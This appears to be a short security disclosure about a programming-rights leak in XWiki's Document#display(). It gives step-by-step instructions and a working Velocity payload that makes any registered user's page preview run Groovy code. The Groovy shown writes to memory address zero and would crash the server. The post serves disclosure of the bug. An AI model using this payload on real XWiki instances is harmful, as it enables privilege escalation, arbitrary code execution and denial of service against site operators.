PR leak in Document#display(), exploitable by any registered user with 4 lines of velocity.

I guess everyone has already heard my pleas about making the security infrastructure simpler at the cost of not having programming permission in places where you might want it and putting a higher priority on security so I'll just get to the meat:

#1 register a user
#2 edit your own profile page in wiki mode
#3 paste the following and click preview

{{velocity}}
#set($xwp = $xwiki.getDocument('XWiki.XWikiPreferences'))
#set($obj = $xwp.getObjects('XWiki.XWikiPreferences').get(0))
$obj.set('meta', '{{groovy}}new java.util.Random().unsafe.putAddress(0,0);{{/groovy}}')
$xwp.display('meta', $obj)
{{/velocity}}

This same problem would exist in getRenderedContent() if it were not for XWIKI-4274